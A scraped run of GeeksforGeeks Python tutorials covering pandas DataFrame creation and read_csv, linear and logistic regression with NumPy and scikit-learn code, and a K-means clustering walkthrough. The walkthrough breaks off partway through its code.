    1. One or more dictionaries
    2. One or more Series
    3. 2D-numpy Ndarray

     
    Code #2: When Data is Dictionaries




    # Program to Create Data Frame with two dictionaries
      
    # Define Dictionary 1
    dict1 ={'a':1, 'b':2, 'c':3, 'd':4}   
      
    # Define Dictionary 2     
    dict2 ={'a':5, 'b':6, 'c':7, 'd':8, 'e':9
      
    # Define Data with dict1 and dict2
    Data = {'first':dict1, 'second':dict2} 
      
    # Create DataFrame 
    df = pd.DataFrame(Data)  

    Output:

    DataFrame with two dictionaries

     
    Code #3: When Data is Series




    # Program to create Dataframe of three series 
    import pandas as pd
      
    # Define series 1
    s1 = pd.Series([1, 3, 4, 5, 6, 2, 9])   
      
    # Define series 2       
    s2 = pd.Series([1.1, 3.5, 4.7, 5.8, 2.9, 9.3]) 
      
    # Define series 3
    s3 = pd.Series(['a', 'b', 'c', 'd', 'e'])     
      
    # Define Data
    Data ={'first':s1, 'second':s2, 'third':s3} 
      
    # Create DataFrame
    dfseries = pd.DataFrame(Data)              

    Output:

    DataFrame with three series

     
    Code #4: When Data is 2D-numpy ndarray
    Note: One constraint has to be maintained while creating DataFrame of 2D arrays – Dimensions of 2D array must be same.




    # Program to create DataFrame from 2D array
      
    # Import Library
    import pandas as pd 
      
    # Define 2d array 1
    d1 =[[2, 3, 4], [5, 6, 7]] 
      
    # Define 2d array 2
    d2 =[[2, 4, 8], [1, 3, 9]] 
      
    # Define Data
    Data ={'first': d1, 'second': d2}  
      
    # Create DataFrame
    df2d = pd.DataFrame(Data)    

    Output:

    DataFrame with 2d ndarray


    My Personal Notes arrow_drop_up

    Python | Read csv using pandas.read_csv()

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Easy
    • Last Updated : 29 Aug, 2021

    Python is a great language for doing data analysis, primarily because of the fantastic ecosystem of data-centric python packages. Pandas is one of those packages and makes importing and analyzing data much easier.
    Import Pandas: 
     

    import pandas as pd

      
    Code #1 : read_csv is an important pandas function to read csv files and do operations on it. 
     

    PYTHON3




    # Import pandas
    import pandas as pd
     
    # reading csv file
    pd.read_csv("filename.csv")

    Opening a CSV file through this is easy. But there are many others thing one can do through this function only to change the returned object completely. For instance, one can read a csv file not only locally, but from a URL through read_csv or one can choose what columns needed to export so that we don’t have to edit the array later.
    Here is the list of parameters it takes with their Default values.
     

    pd.read_csv(filepath_or_buffer, sep=’, ‘, delimiter=None, header=’infer’, names=None, index_col=None, usecols=None, squeeze=False, prefix=None, mangle_dupe_cols=True, dtype=None, engine=None, converters=None, true_values=None, false_values=None, skipinitialspace=False, skiprows=None, nrows=None, na_values=None, keep_default_na=True, na_filter=True, verbose=False, skip_blank_lines=True, parse_dates=False, infer_datetime_format=False, keep_date_col=False, date_parser=None, dayfirst=False, iterator=False, chunksize=None, compression=’infer’, thousands=None, decimal=b’.’, lineterminator=None, quotechar='”‘, quoting=0, escapechar=None, comment=None, encoding=None, dialect=None, tupleize_cols=None, error_bad_lines=True, warn_bad_lines=True, skipfooter=0, doublequote=True, delim_whitespace=False, low_memory=True, memory_map=False, float_precision=None) 
     

    Not all of them are much important but remembering these actually save time of performing same functions on own. One can see parameters of any function by pressing shift + tab in jupyter notebook. Useful ones are given below with their usage :
     

    ParameterUse
    filepath_or_bufferURL or Dir location of file
    sepStands for separator, default is ‘, ‘ as in csv(comma separated values)
    index_col

    Makes passed column as index instead of 0, 1, 2, 3…r 
     

     

    header

    Makes passed row/s[int/int list] as header
     

     

    use_colsOnly uses the passed col[string list] to make data frame
    squeezeIf true and only one column is passed, returns pandas series
    skiprowsSkips passed rows in new data frame

    Refer the link to data set used from here.
    Code #2 :
     

    PYTHON3




    # importing Pandas library
    import pandas as pd
     
    pd.read_csv(filepath_or_buffer = "pokemon.csv")
     
    # makes the passed rows header
    pd.read_csv("pokemon.csv", header =[1, 2])
     
    # make the passed column as index instead of 0, 1, 2, 3....
    pd.read_csv("pokemon.csv", index_col ='Type')
     
    # uses passed cols only for data frame
    pd.read_csv("pokemon.csv", usecols =["Type"])
     
    # returns pandas series if there is only one column
    pd.read_csv("pokemon.csv", usecols =["Type"],
                                  squeeze = True)
                                   
    # skips the passed rows in new series
    pd.read_csv("pokemon.csv",
                skiprows = [1, 2, 3, 4])

    My Personal Notes arrow_drop_up

    Machine Learning

    • Last Updated : 30 May, 2022

     
    Machine Learning is the field of study that gives computers the capability to learn without being explicitly programmed. ML is one of the most exciting technologies that one would have ever come across. As it is evident from the name, it gives the computer that makes it more similar to humans: The ability to learn. Machine learning is actively being used today, perhaps in many more places than one would expect.

    Machine Learning tutorial

    Recent Articles on Machine Learning

    Related Courses:

    Machine Learning is an essential skill for any aspiring data analyst and data scientist, and also for those who wish to transform a massive amount of raw data into trends and predictions. Learn this skill today with Machine Learning Foundation – Self Paced Course , designed and curated by industry experts having years of expertise in ML and industry-based projects.

     

    Introduction :

    Data and It’s Processing:

    Supervised learning :

    1. Getting started with Classification
    2. Basic Concept of Classification
    3. Types of Regression Techniques
    4. Classification vs Regression
    5. ML | Types of Learning – Supervised Learning
    6. Multiclass classification using scikit-learn
    7. Python | Implementation of Polynomial Regression
    8. Softmax Regression using TensorFlow
    9. Naive Bayes Classifiers

    Unsupervised learning :

    Reinforcement Learning:

    Dimensionality Reduction :

    Natural Language Processing :

    Neural Networks :

    ML – Deployment :

    ML – Applications :

    Misc :

    GeeksforGeeks Courses

    Machine Learning Foundation

    Machines are learning, so why do you wish to get left behind? Strengthen your ML and AI foundations today and become future ready. This self-paced course will help you learn advanced concepts like- Regression, Classification, Data Dimensionality and much more. Also included- Projects that will help you get hands-on experience. So wait no more, and strengthen your Machine Learning Foundations.

    Data Science Live Course

    Every organisation now relies on data before making any important decisions regarding their future. So, it is safe to say that Data is really the king now. So why do you want to get left behind? This LIVE course will introduce the learner to advanced concepts like: Linear Regression, Naive Bayes & KNN, Numpy, Pandas, Matlab & much more. You will also get to work on real-life projects through the course. So wait no more, Become a Data Science Expert now.


    My Personal Notes arrow_drop_up

    Linear Regression (Python Implementation)

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 18 May, 2022

    This article discusses the basics of linear regression and its implementation in the Python programming language.
    Linear regression is a statistical method for modeling relationships between a dependent variable with a given set of independent variables.

    Machine-Learning-Course

    Note: In this article, we refer to dependent variables as responses and independent variables as features for simplicity.
    In order to provide a basic understanding of linear regression, we start with the most basic version of linear regression, i.e. Simple linear regression

    Simple Linear Regression

    Simple linear regression is an approach for predicting a response using a single feature.
    It is assumed that the two variables are linearly related. Hence, we try to find a linear function that predicts the response value(y) as accurately as possible as a function of the feature or independent variable(x).
    Let us consider a dataset where we have a value of response y for every feature x: 

    For generality, we define:
    x as feature vector, i.e x = [x_1, x_2, …., x_n],
    y as response vector, i.e y = [y_1, y_2, …., y_n]
    for n observations (in above example, n=10).
    A scatter plot of the above dataset looks like:-

    Now, the task is to find a line that fits best in the above scatter plot so that we can predict the response for any new feature values. (i.e a value of x not present in a dataset)
    This line is called a regression line.
    The equation of regression line is represented as:
    h(x_i) = \beta _0 + \beta_1x_i

    Here,  

    To create our model, we must “learn” or estimate the values of regression coefficients b_0 and b_1. And once we’ve estimated these coefficients, we can use the model to predict responses!
    In this article, we are going to use the principle of  Least Squares.
    Now consider:
    y_i = \beta_0 + \beta_1x_i + \varepsilon_i = h(x_i) + \varepsilon_i \Rightarrow \varepsilon_i = y_i -h(x_i)
    Here, e_i is a residual error in ith observation. 
    So, our aim is to minimize the total residual error.
    We define the squared error or cost function, J as: 
    J(\beta_0,\beta_1)= \frac{1}{2n} \sum_{i=1}^{n} \varepsilon_i^{2}
    and our task is to find the value of b_0 and b_1 for which J(b_0,b_1) is minimum!
    Without going into the mathematical details, we present the result here:
    \beta_1 = \frac{SS_{xy}}{SS_{xx}}
    \beta_0 = \bar{y} - \beta_1\bar{x}
    where SS_xy is the sum of cross-deviations of y and x: 
    SS_{xy} = \sum_{i=1}^{n} (x_i-\bar{x})(y_i-\bar{y}) = \sum_{i=1}^{n} y_ix_i - n\bar{x}\bar{y}
    and SS_xx is the sum of squared deviations of x: 
    SS_{xx} = \sum_{i=1}^{n} (x_i-\bar{x})^2 = \sum_{i=1}^{n}x_i^2 - n(\bar{x})^2
    Note: The complete derivation for finding least squares estimates in simple linear regression can be found here.

    Code: Python implementation of above technique on our small dataset 

    Python




    import numpy as np
    import matplotlib.pyplot as plt
      
    def estimate_coef(x, y):
        # number of observations/points
        n = np.size(x)
      
        # mean of x and y vector
        m_x = np.mean(x)
        m_y = np.mean(y)
      
        # calculating cross-deviation and deviation about x
        SS_xy = np.sum(y*x) - n*m_y*m_x
        SS_xx = np.sum(x*x) - n*m_x*m_x
      
        # calculating regression coefficients
        b_1 = SS_xy / SS_xx
        b_0 = m_y - b_1*m_x
      
        return (b_0, b_1)
      
    def plot_regression_line(x, y, b):
        # plotting the actual points as scatter plot
        plt.scatter(x, y, color = "m",
                   marker = "o", s = 30)
      
        # predicted response vector
        y_pred = b[0] + b[1]*x
      
        # plotting the regression line
        plt.plot(x, y_pred, color = "g")
      
        # putting labels
        plt.xlabel('x')
        plt.ylabel('y')
      
        # function to show plot
        plt.show()
      
    def main():
        # observations / data
        x = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9])
        y = np.array([1, 3, 2, 5, 7, 8, 8, 9, 10, 12])
      
        # estimating coefficients
        b = estimate_coef(x, y)
        print("Estimated coefficients:\nb_0 = {}  \
              \nb_1 = {}".format(b[0], b[1]))
      
        # plotting regression line
        plot_regression_line(x, y, b)
      
    if __name__ == "__main__":
        main()

    Output: 

    Estimated coefficients:
    b_0 = -0.0586206896552
    b_1 = 1.45747126437

    And graph obtained looks like this:  

    Multiple linear regression

    Multiple linear regression attempts to model the relationship between two or more features and a response by fitting a linear equation to the observed data.
    Clearly, it is nothing but an extension of simple linear regression.
    Consider a dataset with p features(or independent variables) and one response(or dependent variable). 
    Also, the dataset contains n rows/observations.
    We define:
    X (feature matrix) = a matrix of size n X p where x_{ij} denotes the values of jth feature for ith observation.
    So, 
    \begin{pmatrix} x_{11} & \cdots & x_{1p} \\ x_{21} & \cdots & x_{2p} \\ \vdots & \ddots & \vdots \\ x_{n1} & \vdots & x_{np} \end{pmatrix}
    and
    y (response vector) = a vector of size n where y_{i} denotes the value of response for ith observation.
    y = \begin{bmatrix} y_1\\ y_2\\ .\\ .\\ y_n \end{bmatrix}
    The regression line for p features is represented as: 
    h(x_i) = \beta_0 + \beta_1x_{i1} + \beta_2x_{i2} + .... + \beta_px_{ip}
    where h(x_i) is predicted response value for ith observation and b_0, b_1, …, b_p are the regression coefficients.
    Also, we can write: 
    \newline y_i = \beta_0 + \beta_1x_{i1} + \beta_2x_{i2} + .... + \beta_px_{ip} + \varepsilon_i \newline or \newline y_i = h(x_i) + \varepsilon_i \Rightarrow \varepsilon_i = y_i - h(x_i)
    where e_i represents residual error in ith observation.
    We can generalize our linear model a little bit more by representing feature matrix X as: 
    X = \begin{pmatrix} 1 & x_{11} & \cdots & x_{1p} \\ 1 & x_{21} & \cdots & x_{2p} \\ \vdots & \vdots & \ddots & \vdots \\ 1 & x_{n1} & \cdots & x_{np} \end{pmatrix}
    So now, the linear model can be expressed in terms of matrices as: 
    y = X\beta + \varepsilon
    where, 
    \beta = \begin{bmatrix} \beta_0\\ \beta_1\\ .\\ .\\ \beta_p \end{bmatrix}
    and
    \varepsilon = \begin{bmatrix} \varepsilon_1\\ \varepsilon_2\\ .\\ .\\ \varepsilon_n \end{bmatrix}
    Now, we determine an estimate of b, i.e. b’ using the Least Squares method.
    As already explained, the Least Squares method tends to determine b’ for which total residual error is minimized.
    We present the result directly here: 
    \hat{\beta} = ({X}'X)^{-1} {X}'y
    where ‘ represents the transpose of the matrix while -1 represents the matrix inverse.
    Knowing the least square estimates, b’, the multiple linear regression model can now be estimated as:
    \hat{y} = X\hat{\beta}
    where y’ is the estimated response vector.
    Note: The complete derivation for obtaining least square estimates in multiple linear regression can be found here.

    Code: Python implementation of multiple linear regression techniques on the Boston house pricing dataset using Scikit-learn. 

    Python




    import matplotlib.pyplot as plt
    import numpy as np
    from sklearn import datasets, linear_model, metrics
      
    # load the boston dataset
    boston = datasets.load_boston(return_X_y=False)
      
    # defining feature matrix(X) and response vector(y)
    X = boston.data
    y = boston.target
      
    # splitting X and y into training and testing sets
    from sklearn.model_selection import train_test_split
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4,
                                                        random_state=1)
      
    # create linear regression object
    reg = linear_model.LinearRegression()
      
    # train the model using the training sets
    reg.fit(X_train, y_train)
      
    # regression coefficients
    print('Coefficients: ', reg.coef_)
      
    # variance score: 1 means perfect prediction
    print('Variance score: {}'.format(reg.score(X_test, y_test)))
      
    # plot for residual error
      
    ## setting plot style
    plt.style.use('fivethirtyeight')
      
    ## plotting residual errors in training data
    plt.scatter(reg.predict(X_train), reg.predict(X_train) - y_train,
                color = "green", s = 10, label = 'Train data')
      
    ## plotting residual errors in test data
    plt.scatter(reg.predict(X_test), reg.predict(X_test) - y_test,
                color = "blue", s = 10, label = 'Test data')
      
    ## plotting line for zero residual error
    plt.hlines(y = 0, xmin = 0, xmax = 50, linewidth = 2)
      
    ## plotting legend
    plt.legend(loc = 'upper right')
      
    ## plot title
    plt.title("Residual errors")
      
    ## method call for showing the plot
    plt.show()

    Output: 

    Coefficients:
    [ -8.80740828e-02   6.72507352e-02   5.10280463e-02   2.18879172e+00
    -1.72283734e+01   3.62985243e+00   2.13933641e-03  -1.36531300e+00
    2.88788067e-01  -1.22618657e-02  -8.36014969e-01   9.53058061e-03
    -5.05036163e-01]
    Variance score: 0.720898784611

    and Residual Error plot looks like this:  

    In the above example, we determine the accuracy score using Explained Variance Score
    We define: 
    explained_variance_score = 1 – Var{y – y’}/Var{y} 
    where y’ is the estimated target output, y the corresponding (correct) target output, and Var is Variance, the square of the standard deviation. 
    The best possible score is 1.0, lower values are worse.  

    Assumptions:

    Given below are the basic assumptions that a linear regression model makes regarding a dataset on which it is applied:  

    As we reach the end of this article, we discuss some applications of linear regression below. 

    Applications:

    References:


    My Personal Notes arrow_drop_up

    Understanding Logistic Regression

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 18 May, 2022

    Pre-requisite: Linear Regression 
    This article discusses the basics of Logistic Regression and its implementation in Python. Logistic regression is basically a supervised classification algorithm. In a classification problem, the target variable(or output), y, can take only discrete values for a given set of features(or inputs), X.
    Contrary to popular belief, logistic regression IS a regression model. The model builds a regression model to predict the probability that a given data entry belongs to the category numbered as “1”. Just like Linear regression assumes that the data follows a linear function, Logistic regression models the data using the sigmoid function.
    g(z) = \frac{1}{1 + e^-^z}\
     

    Logistic regression becomes a classification technique only when a decision threshold is brought into the picture. The setting of the threshold value is a very important aspect of Logistic regression and is dependent on the classification problem itself.
    The decision for the value of the threshold value is majorly affected by the values of precision and recall. Ideally, we want both precision and recall to be 1, but this seldom is the case.

    Machine-Learning-Course

    In the case of a Precision-Recall tradeoff, we use the following arguments to decide upon the threshold:-
    1. Low Precision/High Recall: In applications where we want to reduce the number of false negatives without necessarily reducing the number of false positives, we choose a decision value that has a low value of Precision or a high value of Recall. For example, in a cancer diagnosis application, we do not want any affected patient to be classified as not affected without giving much heed to if the patient is being wrongfully diagnosed with cancer. This is because the absence of cancer can be detected by further medical diseases but the presence of the disease cannot be detected in an already rejected candidate.
    2. High Precision/Low Recall: In applications where we want to reduce the number of false positives without necessarily reducing the number of false negatives, we choose a decision value that has a high value of Precision or a low value of Recall. For example, if we are classifying customers whether they will react positively or negatively to a personalized advertisement, we want to be absolutely sure that the customer will react positively to the advertisement because otherwise, a negative reaction can cause a loss of potential sales from the customer.
    Based on the number of categories, Logistic regression can be classified as: 
     

    1. binomial: target variable can have only 2 possible types: “0” or “1” which may represent “win” vs “loss”, “pass” vs “fail”, “dead” vs “alive”, etc.
    2. multinomial: target variable can have 3 or more possible types which are not ordered(i.e. types have no quantitative significance) like “disease A” vs “disease B” vs “disease C”.
    3. ordinal: it deals with target variables with ordered categories. For example, a test score can be categorized as:“very poor”, “poor”, “good”, “very good”. Here, each category can be given a score like 0, 1, 2, 3.

    First of all, we explore the simplest form of Logistic Regression, i.e Binomial Logistic Regression
     

    Binomial Logistic Regression

    Consider an example dataset which maps the number of hours of study with the result of an exam. The result can take only two values, namely passed(1) or failed(0):

    Hours(x)
    0.50
    0.75
    1.00
    1.25
    1.50
    1.75
    2.00
    2.25
    2.50
    2.75
    3.00
    3.25
    3.50
    3.75
    4.00
    4.25
    4.50
    4.75
    5.00
    5.50
    
    
    Pass(y)
    0
    0
    0
    0
    0
    0
    1
    0
    1
    0
    1
    0
    1
    0
    1
    1
    1
    1
    1
    1

    So, we have 
     

    i.e. y is a categorical target variable that can take only two possible type: “0” or “1”. 
    In order to generalize our model, we assume that: 
     

    • The dataset has ‘p’ feature variables and ‘n’ observations.
    • The feature matrix is represented as:
       

    • Here, x_{ij}   denotes the values of j^{th}   feature for i^{th}   observation. 
      Here, we are keeping the convention of letting x_{i0}   = 1. (Keep reading, you will understand the logic in a few moments).
    • The i^{th}   observation, x_i   , can be represented as:
       

     

    • h(x_i)   represents the predicted response for i^{th}   observation, i.e. x_i   . The formula we use for calculating h(x_i)   is called hypothesis.

    If you have gone through Linear Regression, you should recall that in Linear Regression, the hypothesis we used for prediction was:
     

    where, \beta_0, \beta_1,…, \beta_p   are the regression coefficients. 
    Let regression coefficient matrix/vector, \beta   be:
     

    Then, in a more compact form, 
     

     

    The reason for taking x_0   = 1 is pretty clear now.
    We needed to do a matrix product, but there was no
    actual x_0   multiplied to \beta_0   in original hypothesis formula. So, we defined x_0   = 1. 
     

    Now, if we try to apply Linear Regression to the above problem, we are likely to get continuous values using the hypothesis we discussed above. Also, it does not make sense for h(x_i)   to take values larger than 1 or smaller than 0. 
    So, some modifications are made to the hypothesis for classification: 
     

    where,
     

    is called logistic function or the sigmoid function
    Here is a plot showing g(z): 
     

    sigmoid

    We can infer from the above graph that: 
     

    • g(z) tends towards 1 as z\rightarrow\infty
    • g(z) tends towards 0 as z\rightarrow-\infty
    • g(z) is always bounded between 0 and 1

    So, now, we can define conditional probabilities for 2 labels(0 and 1) for i^{th}   observation as:
     

    We can write it more compactly as:
     

    Now, we define another term, likelihood of parameters as:
     

     

    Likelihood is nothing but the probability of data(training examples), given a model and specific parameter values(here,   ). It measures the support provided by the data for each possible value of the   . We obtain it by multiplying all   for given   . 
     

    And for easier calculations, we take log-likelihood:
     

    The cost function for logistic regression is proportional to the inverse of the likelihood of parameters. Hence, we can obtain an expression for cost function, J using log-likelihood equation as:
     

    and our aim is to estimate \beta   so that cost function is minimized !!
     

    Using Gradient descent algorithm

    Firstly, we take partial derivatives of J(\beta)   w.r.t each \beta_j \in \beta   to derive the stochastic gradient descent rule(we present only the final derived value here):
     

    Here, y and h(x) represents the response vector and predicted response vector(respectively). Also, x_j   is the vector representing the observation values for j^{th}   feature. 
    Now, in order to get min J(\beta)   ,
     

    where \alpha   is called learning rate and needs to be set explicitly. 
    Let us see the python implementation of the above technique on a sample dataset (download it from here): 2.25 
    2.50 
    2.75 
    3.00 
    3.25 
    3.50 
    3.75 
    4.00 
    4.25 
    4.50 
    4.75 
    5.00 
    5.50
     

    Python




    import csv
    import numpy as np
    import matplotlib.pyplot as plt
      
      
    def loadCSV(filename):
        '''
        function to load dataset
        '''
        with open(filename,"r") as csvfile:
            lines = csv.reader(csvfile)
            dataset = list(lines)
            for i in range(len(dataset)):
                dataset[i] = [float(x) for x in dataset[i]]     
        return np.array(dataset)
      
      
    def normalize(X):
        '''
        function to normalize feature matrix, X
        '''
        mins = np.min(X, axis = 0)
        maxs = np.max(X, axis = 0)
        rng = maxs - mins
        norm_X = 1 - ((maxs - X)/rng)
        return norm_X
      
      
    def logistic_func(beta, X):
        '''
        logistic(sigmoid) function
        '''
        return 1.0/(1 + np.exp(-np.dot(X, beta.T)))
      
      
    def log_gradient(beta, X, y):
        '''
        logistic gradient function
        '''
        first_calc = logistic_func(beta, X) - y.reshape(X.shape[0], -1)
        final_calc = np.dot(first_calc.T, X)
        return final_calc
      
      
    def cost_func(beta, X, y):
        '''
        cost function, J
        '''
        log_func_v = logistic_func(beta, X)
        y = np.squeeze(y)
        step1 = y * np.log(log_func_v)
        step2 = (1 - y) * np.log(1 - log_func_v)
        final = -step1 - step2
        return np.mean(final)
      
      
    def grad_desc(X, y, beta, lr=.01, converge_change=.001):
        '''
        gradient descent function
        '''
        cost = cost_func(beta, X, y)
        change_cost = 1
        num_iter = 1
          
        while(change_cost > converge_change):
            old_cost = cost
            beta = beta - (lr * log_gradient(beta, X, y))
            cost = cost_func(beta, X, y)
            change_cost = old_cost - cost
            num_iter += 1
          
        return beta, num_iter 
      
      
    def pred_values(beta, X):
        '''
        function to predict labels
        '''
        pred_prob = logistic_func(beta, X)
        pred_value = np.where(pred_prob >= .5, 1, 0)
        return np.squeeze(pred_value)
      
      
    def plot_reg(X, y, beta):
        '''
        function to plot decision boundary
        '''
        # labelled observations
        x_0 = X[np.where(y == 0.0)]
        x_1 = X[np.where(y == 1.0)]
          
        # plotting points with diff color for diff label
        plt.scatter([x_0[:, 1]], [x_0[:, 2]], c='b', label='y = 0')
        plt.scatter([x_1[:, 1]], [x_1[:, 2]], c='r', label='y = 1')
          
        # plotting decision boundary
        x1 = np.arange(0, 1, 0.1)
        x2 = -(beta[0,0] + beta[0,1]*x1)/beta[0,2]
        plt.plot(x1, x2, c='k', label='reg line')
      
        plt.xlabel('x1')
        plt.ylabel('x2')
        plt.legend()
        plt.show()
          
      
          
    if __name__ == "__main__":
        # load the dataset
        dataset = loadCSV('dataset1.csv')
          
        # normalizing feature matrix
        X = normalize(dataset[:, :-1])
          
        # stacking columns with all ones in feature matrix
        X = np.hstack((np.matrix(np.ones(X.shape[0])).T, X))
      
        # response vector
        y = dataset[:, -1]
      
        # initial beta values
        beta = np.matrix(np.zeros(X.shape[1]))
      
        # beta values after running gradient descent
        beta, num_iter = grad_desc(X, y, beta)
      
        # estimated beta values and number of iterations
        print("Estimated regression coefficients:", beta)
        print("No. of iterations:", num_iter)
      
        # predicted labels
        y_pred = pred_values(beta, X)
          
        # number of correctly predicted labels
        print("Correctly predicted labels:", np.sum(y == y_pred))
          
        # plotting regression line
        plot_reg(X, y, beta)
    Estimated regression coefficients: [[  1.70474504  15.04062212 -20.47216021]]
    No. of iterations: 2612
    Correctly predicted labels: 100

    logistic_reg

    Note: Gradient descent is one of the many ways to estimate \beta   .
    Basically, these are more advanced algorithms that can be easily run in Python once you have defined your cost function and your gradients. These algorithms are: 
     

    • BFGS(Broyden–Fletcher–Goldfarb–Shanno algorithm)
    • L-BFGS(Like BFGS but uses limited memory)
    • Conjugate Gradient

    Advantages/disadvantages of using any one of these algorithms over Gradient descent: 
     

    • Advantages 
      • Don’t need to pick learning rate
      • Often run faster (not always the case)
      • Can numerically approximate gradient for you (doesn’t always work out well)
    • Disadvantages 
      • More complex
      • More of a black box unless you learn the specifics

     

    Multinomial Logistic Regression

    In Multinomial Logistic Regression, the output variable can have more than two possible discrete outputs. Consider the Digit Dataset. Here, the output variable is the digit value which can take values out of (0, 12, 3, 4, 5, 6, 7, 8, 9). 
    Given below is the implementation of Multinomial Logistic Regression using scikit-learn to make predictions on digit datasets. 

    Python




    from sklearn import datasets, linear_model, metrics
       
    # load the digit dataset
    digits = datasets.load_digits()
       
    # defining feature matrix(X) and response vector(y)
    X = digits.data
    y = digits.target
      
    # splitting X and y into training and testing sets
    from sklearn.model_selection import train_test_split
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4,
                                                        random_state=1)
       
    # create logistic regression object
    reg = linear_model.LogisticRegression()
       
    # train the model using the training sets
    reg.fit(X_train, y_train)
      
    # making predictions on the testing set
    y_pred = reg.predict(X_test)
       
    # comparing actual response values (y_test) with predicted response values (y_pred)
    print("Logistic Regression model accuracy(in %):"
    metrics.accuracy_score(y_test, y_pred)*100)
     Logistic Regression model accuracy(in %): 95.6884561892

    At last, here are some points about Logistic regression to ponder upon: 
     

    • Does NOT assume a linear relationship between the dependent variable and the independent variables, but it does assume a linear relationship between the logit of the explanatory variables and the response.
    • Independent variables can be even the power terms or some other nonlinear transformations of the original independent variables.
    • The dependent variable does NOT need to be normally distributed, but it typically assumes a distribution from an exponential family (e.g. binomial, Poisson, multinomial, normal,…); binary logistic regression assumes binomial distribution of the response.
    • The homogeneity of variance does NOT need to be satisfied.
    • Errors need to be independent but NOT normally distributed.
    • It uses maximum likelihood estimation (MLE) rather than ordinary least squares (OLS) to estimate the parameters and thus relies on large-sample approximations
       

    References: 

    This article is contributed by Nikhil Kumar. If you like GeeksforGeeks and would like to contribute, you can also write an article using write.geeksforgeeks.org or mail your article to review-team@geeksforgeeks.org. See your article appearing on the GeeksforGeeks main page and help other Geeks.
    Please write comments if you find anything incorrect, or you want to share more information about the topic discussed above.


    My Personal Notes arrow_drop_up
    Recommended Articles
    Page :


    K means Clustering – Introduction

    Improve Article
    Save Article
    Like Article
    • Difficulty Level : Medium
    • Last Updated : 18 May, 2022

    We are given a data set of items, with certain features, and values for these features (like a vector). The task is to categorize those items into groups. To achieve this, we will use the kMeans algorithm; an unsupervised learning algorithm. 
     

    Machine-Learning-Course

    Overview

    (It will help if you think of items as points in an n-dimensional space).  The algorithm will categorize the items into k groups of similarity. To calculate that similarity, we will use the euclidean distance as measurement.
    The algorithm works as follows: 
     

    1. First, we initialize k points, called means, randomly.
    2. We categorize each item to its closest mean and we update the mean’s coordinates, which are the averages of the items categorized in that mean so far.
    3. We repeat the process for a given number of iterations and at the end, we have our clusters.

    The “points” mentioned above are called means because they hold the mean values of the items categorized in them. To initialize these means, we have a lot of options. An intuitive method is to initialize the means at random items in the data set. Another method is to initialize the means at random values between the boundaries of the data set (if for a feature x the items have values in [0,3], we will initialize the means with values for x at [0,3]).
    The above algorithm in pseudocode: 
     

    Initialize k means with random values
    
    For a given number of iterations:
        Iterate through items:
            Find the mean closest to the item
            Assign item to mean
            Update mean

     

    Read Data

    We receive input as a text file (‘data.txt’). Each line represents an item, and it contains numerical values (one for each feature) split by commas. You can find a sample data set here.
    We will read the data from the file, saving it into a list. Each element of the list is another list containing the item values for the features. We do this with the following function:
     

    Python3




    def ReadData(fileName): 
      
        # Read the file, splitting by lines 
        f = open(fileName, 'r'); 
        lines = f.read().splitlines(); 
        f.close(); 
      
        items = []; 
      
        for i in range(1, len(lines)): 
            line = lines[i].split(','); 
            itemFeatures = []; 
      
            for j in range(len(line)-1): 
                  
                # Convert feature value to float
                v = float(line[j]); 
                  
                # Add feature value to dict 
                itemFeatures.append(v); 
      
            items.append(itemFeatures); 
      
        shuffle(items); 
      
        return items; 

    Initialize Means

    We want to initialize each mean’s values in the range of the feature values of the items. For that, we need to find the min and max for each feature. We accomplish that with the following function:
     

    Python




    def FindColMinMax(items):
        n = len(items[0]);
        minima = [sys.maxint for i in range(n)];
        maxima = [-sys.maxint -1 for i in range(n)];
          
        for item in items:
            for f in range(len(item)):
                if (item[f] < minima[f]):
                    minima[f] = item[f];
                  
                if (item[f] > maxima[f]):
                    maxima[f] = item[f];
      
    return minima,maxima;

    The variables minima, maxima are lists containing the min and max values of the items respectively. We initialize each mean’s feature values randomly between the corresponding minimum and maximum in those above two lists:
     

    Python




    def InitializeMeans(items, k, cMin, cMax):
      
        # Initialize means to random numbers between
        # the min and max of each column/feature    
        f = len(items[0]); # number of features
        means = [[0 for i in range(f)] for j in range(k)];
          
        for mean in means:
            for i in range(len(mean)):
      
                # Set value to a random float
                # (adding +-1 to avoid a wide placement of a mean)
                mean[i] = uniform(cMin[i]+1, cMax[i]-1);
      
        return means;

    Euclidean Distance

    We will be using the euclidean distance as a metric of similarity for our data set (note: depending on your items, you can use another similarity metric).
     

    Python3




    def EuclideanDistance(x, y): 
        S = 0; # The sum of the squared differences of the elements 
        for i in range(len(x)): 
            S += math.pow(x[i]-y[i], 2)
      
        #The square root of the sum
        return math.sqrt(S)

    Update Means

    To update a mean, we need to find the average value for its feature, for all the items in the mean/cluster. We can do this by adding all the values and then dividing by the number of items, or we can use a more elegant solution. We will calculate the new average without having to re-add all the values, by doing the following: 
     

    m = (m*(n-1)+x)/n

    where m is the mean value for a feature, n is the number of items in the cluster, and x is the feature value for the added item. We do the above for each feature to get the new mean.
     

    Python




    def UpdateMean(n,mean,item):
        for i in range(len(mean)):
            m = mean[i];
            m = (m*(n-1)+item[i])/float(n);
            mean[i] = round(m, 3);
          
        return mean;

    Classify Items

    Now we need to write a function to classify an item into a group/cluster. For the given item, we will find its similarity to each mean, and we will classify the item to the closest one.
     

    Python




    def Classify(means,item):
      
        # Classify item to the mean with minimum distance    
        minimum = sys.maxint;
        index = -1;
      
        for i in range(len(means)):
      
            # Find distance from item to mean
            dis = EuclideanDistance(item, means[i]);
      
            if (dis < minimum):
                minimum = dis;
                index = i;
          
        return index;

    Find Means

    To actually find the means, we will loop through all the items, classify them to their nearest cluster and update the cluster’s mean. We will repeat the process for a fixed number of iterations. If between two iterations no item changes classification, we stop the process as the algorithm has found the optimal solution.
    The below function takes as input k (the number of desired clusters), the items and the number of maximum iterations, and returns the means and the clusters. The classification of an item is stored in the array belongsTo and the number of items in a cluster is stored in clusterSizes.
     

    Python




    def CalculateMeans(k,items,maxIterations=100000):
      
        # Find the minima and maxima for columns
        cMin, cMax = FindColMinMax(items);
          
        # Initialize means at random points
        means = InitializeMeans(items,k,cMin,cMax);
          
        # Initialize clusters, the array to hold
        # the number of items in a class
        clusterSizes= [0 for i in range(len(means))];
      
        # An array to hold the cluster an item is in
        belongsTo = [0 for i in range(len(items))];
      
        # Calculate means
        for e in range(maxIterations):
      
